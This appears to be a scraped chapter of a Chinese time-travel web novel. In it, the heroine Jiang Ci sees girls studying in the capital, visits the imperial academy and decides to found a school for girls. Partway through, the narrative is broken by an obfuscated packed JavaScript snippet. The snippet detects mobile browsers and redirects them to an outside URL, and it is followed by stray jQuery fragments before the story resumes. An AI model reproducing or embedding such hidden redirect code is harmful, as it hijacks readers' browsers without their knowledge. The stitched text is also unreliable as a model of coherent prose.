8. 下定决心

作品:《穿到古代教数学

    天色渐晚,京中的街道依旧热闹非凡。老婆婆拎着花篮挨个询问“买枝花吧”;小孩子站在小贩父母身旁舔着糖果;杂技演员手举火把,口吐松香粉末,火把爆燃,形成壮观的火焰……


    更夫提着灯笼,拿着棒槌,以一快一慢的节奏敲响铜锣,高喊:“天干物燥,小心火烛。”


    姜辞和傅朝坐在面摊的桌子上,听到更夫的声音,姜辞疑惑道:“此时不是应该宵禁吗?为何京城没有?”


    在临安县,只要听到更夫的一更大胆锣声,大家都会四散离去,因为这代表宵禁时间到了,可现在大家依旧在街上玩乐。


    难道京城的规矩还不一样?


    老板端来了面条,说:“两位应该不是京城人士吧?早在三日前,陛下就下令将宵禁时间从一更推迟到三更,开放夜市了。”


    “这倒挺不错的。”傅朝说。


    “是呀,自从开放夜市了,我每日都能多赚100文。”老板笑着说,眼泪满是开心。


    饥肠辘辘的姜辞立马吃了一口,柔软劲道,她又抱着碗喝了一口面汤。


    “傅朝,你快吃,超级好吃。”姜辞嘴里的面还没吞下去。


    傅朝夹起面条慢条斯理放进嘴里,而姜辞夹起面条卷成鸡腿状,张大嘴巴一口塞进嘴里,两边鼓起的脸颊像个癞蛤蟆。


    老板默默看向两人,心想:这两人的身份莫不是调换了。


    老板的摊位下出来了一个女孩,手里拿着一本蓝皮书,然后自顾自地坐到了傅朝对面。


    姜辞撇着脑袋微低头,眯着眼睛看清了书的名字——《千字文》。


    “盖此身发,四大五常。恭为鞠养,岂敢毁伤。”她的声音稚嫩,却读得很大声。


    “小娘子,这书是爹爹让你读的吗?”姜辞问。


    她用无辜的大眼睛看着姜辞,“不是啊,刘老师让我们读的。”


    刘老师?这代表她上学堂了。


    “你去学堂了吗?”


    “对呀,我们都去国学了。”说我,她将目光转向手中翻开的书。


    听到她们有学上,姜辞有些开心,“傅大人,你听到了吗?京中女子都去国学了,为什么临安县的乡学没一个女子?”


    “临安县毕竟是个小地方,几乎没人愿意花钱培养一个不能科举的女子。”


    傅朝说得没错,没人愿意,就算到了二十一世纪依旧有这种思想,女孩子上学没用,毕业了就会嫁人,嫁人了就会生子,生子了就会成为家庭主妇。


    姜辞:“但是,去学堂不只是为了科举吧。”


    傅朝:“你说的没错,但是对于他们来说,活着比较重要,男子科举哪怕只是中了秀才也能改变命运。”


    他说完姜辞没再说话,傅朝又说:“贫穷的罪没有办法赦免。”


    不止是贫穷,还有思想。


    各种尖叫鼓掌欢笑,统统传到了姜辞耳朵,可她无法感受到他们的欢乐,周遭的热闹与她无关。


    以前,她梦想能办一所学校,学生无需早六晚九,课表不只是一味地语数外,她想要的学校是欢乐的学校,是能培养兴趣的学校。


    姜辞在床上辗转反侧,一闭上眼,王老二的女儿手捧《三字经》的画面就自动跑进了脑子,临安县的姑娘们叫卖的声音仿佛就在耳边。


    在现代,她没有能力成为一名校长,就连成为老师都岌岌可危,可现在她来古代了,成为了一个还算有钱有权的县令之女,这是否意味着她可以办学校了,为临安县的女孩们办一个学校。


    不知何时,她睡了过去,她做了一个梦,梦中她站在讲台上,台下全是女孩们,她在教她们数学,课下还有傅朝教她们箭术。


    鸡鸣声将她唤醒,她习惯性地喊:“翠翠。”


    但是进来了一个陌生丫鬟,“姜小姐。”


    翠翠没来京城,姜辞起身下床,然后坐在铜镜前,说:“麻烦你帮我梳一下头发。”


    古代的发饰太繁琐了,姜辞完全不会梳。


    宇文府膳房。


    宇文伯伯、宇文伯母、赵姨娘以及姜父四人围坐在餐桌前,姜父有些不好意思地说:“这孩子,总是睡到日上三竿。”


    “无妨无妨,孩子嘛,都是这样的,我还羡慕得紧呢。”宇文伯伯说。


    他虽有一妻一妾,但名下未有一子。


    姜父:“没什么好羡慕的,她马上就要出嫁了。”


    伯伯:“小辞已经说到亲了?”


    姜父:“我已经找媒婆张罗了。”


    姜辞匆匆来迟,“抱歉,我来迟了。”


    见她来,他们闭上了嘴巴,默契的没再讨论她的婚事。


    宇文伯伯招招手,“无妨,快坐下吃饭。”


    餐桌上是各种大鱼大肉,姜辞坐在了赵姨娘与父亲中间的位置。


    父亲埋怨道:“你看你,我们四个长辈都在等你,在家就跟你说过,要早点起床,可你偏不听。”


    宇文伯母连忙制止道:“姜大哥,不用怪孩子,我们都羡慕你有姜辞这样的好孩子。”


    似乎想到了什么,伯母又对赵姨娘说:“昨日,你为何没同小辞一起?”


    赵姨娘委屈道:“我昨日一转头,小辞就不见了,我还找了她许久。”


    姜辞对着赵姨娘双手合十,带着歉意说:“抱歉,我昨日见到好友,忘记同姨娘说了。”


    姜父一听就知道她说的那人是傅朝,“就算见到傅朝了,也不该同他一起在外面待那么晚,男女有别,你还未出阁呢。”


    伯母:“这傅朝是何人啊?”


    姜父:“我们县衙的典史,这姜辞经常跟他混在一起。”


    姨娘:“倒也不错,样貌如何,可与小辞相配?”


    为什么大人们不管说什么话题,总会扯到小辈的婚事上。


    “我与傅大人只是好友,知音难觅,我们之间的关系就像爹爹和宇文伯伯一般。”姜辞只想赶快结束这个话题。


    “你们可跟我们比不上。”父亲骄傲地说,“我们可是从小一起长大的,吃过同一锅饭,睡过同一张床。”


    “好羡慕。”这是姜辞的真心话,她一直期望着友谊,期望有一段长久的友谊,她没有朋友,只有阶段性的同学。


    上学时,大家都三三两两,可她总是一个人,一个人上厕所,一个人吃饭……


    她早已习惯了一个人,可还是常常会想,如果有个朋友该多好。


    姜辞在沉默中吃完了午饭,父亲下午便要去参加吏部的考核,他穿上了一身红的官服。


    在宇文府门口,一行人送走了他,临走前,父亲特意交代要好好看着姜辞,伯伯欣然答应:“贤弟放心,小辞会一直待在家等你回来。”


    但是父亲才走不久,店铺传来不好的消息,伯伯和伯母赶忙去了店铺,并把姜辞托付给了赵姨娘。


    家中只剩姜辞和赵姨娘。两人坐在庭院里,丫鬟给姨娘送来了一本书,她喝了一口茶便翻开了书籍。


    “姨娘在看什么书呢?”姜辞见她看得入迷不禁发问,她很佩服姨娘,已过而立之年依旧不忘学习,若是姜辞,她绝对做不到,大学毕业后再拿起书,难。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383533|168504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “在老爷书房里随便拿的一本。”她合上书好像有些不好意思,“我这一大把年纪了,确实没必要看这些书了。”


    她叫来了丫鬟,让丫鬟把书放到书房。


    姜辞道:“姨娘,你爱看书便看,不管什么年纪,我们都有学习的权利,践行终身教育。”


    似是想到了原因,姜辞又说:“我是不是打搅到姨娘了,你不必顾忌我,我马上就走。”


    赵姨娘拉住了她的手,说:“我呀,其实不是京中之人,小时候忙着种地,没见过书,更没去过学堂,后来,来了京中才发现,原来书中有那么多乐趣,我羡慕他们从小便能去学堂。”


    “既如此,姨娘今日便去国学看看吧。”姜辞站起来说。


    她低头,姨娘抬头,姨娘眼中的不可置信似乎打中了姜辞。


    “姨娘就当陪我去了。”姜辞拉起了她,“姨娘有所不知,我正在乡学教孩子们数学,我正好想去国学看看。”


    “那……行吧。”姨娘勉为其难的答应了。


    在去国学的路上,姜辞遇到了好多背着考箱的孩子,他们成群结队,或跑或闹,男男女女的笑声糅杂,回荡在京城上空。


    姨娘感慨道:“这京中就是好,在我们那里,有些薄底的人家才会送儿子去乡学。”


    看着眼前的一群群孩童的背影,办一个女子学堂的想法愈演愈烈。


    “姨娘,若是在你年少时,有一个免费的女子学堂,你会愿意去吗?”姜辞发问。


    “这敢情好呀,我定会去的。”姨娘笑着说。


    得到这样的回答,姜辞越发肯定自己的想法。


    不知不觉中,她们来到了国学门前,她们满心欢喜却未能踏入大门。


    “非国学中人,不得入内。”这是她们得到的回答。


    小厮毫不犹豫关上大门,就在那一瞬间,姜辞透过门缝看到了熟悉的脸庞,她慌忙高喊:“七皇……远之。”


    七皇子听到自己的名字,顺着声音的方向看去,正好看到了姜辞一半的脸,他跑过去,命小厮打开了门。


    “姜姐姐,你为何在这儿?”


    “我这不是第一次来京城嘛,想来看看这国学。”姜辞将微笑的嘴角放下,遗憾道:“可惜,我不是国学中人,无法入内。”


    “小事一桩,姜姐姐,进来吧。”


    听到七皇子这么说,小厮赶忙把门拉开的大一些,姜辞和赵姨娘顺利进入。


    “姜姐姐莫怪,原本国学是没有这个规定的,只是一个月前一个外来人员打伤了丞相家的公子,把他打得鼻青脸肿。”说到后面时,他有些幸灾乐祸的意味。


    “殿下是讨厌他吗?”


    “不是,不过他被打也不意外,谁让他总是挑拨良家妇女,一个好色之徒罢了。”


    国学中的学生,下到七岁,上到十五岁,矮到一米一,高到一米八。


    书声琅琅从四面八方传来,姜辞站在窗前,看向屋内,夫子一手背在身后,一手拿着书走走停停。


    时不时有一些笑声传出。


    姜辞的目光落在一个女孩身上,她在大笑,圆圆的最角露出没有门牙的牙齿,下一秒,姜辞转身跑向门外,留下七皇子和赵姨娘愣在原地。


    跑!


    姜辞飞速赶往福运客栈,拿出跑八百米冲刺的速度,风声呼啸而过,发丝漫不经心飞舞。


    她想留住孩子们的笑容,女孩们如花一般的笑容。


    她双手置在客栈前台上,来不及大口呼吸,用她干涸的嗓子问:“叶,叶晚晴,在吗?”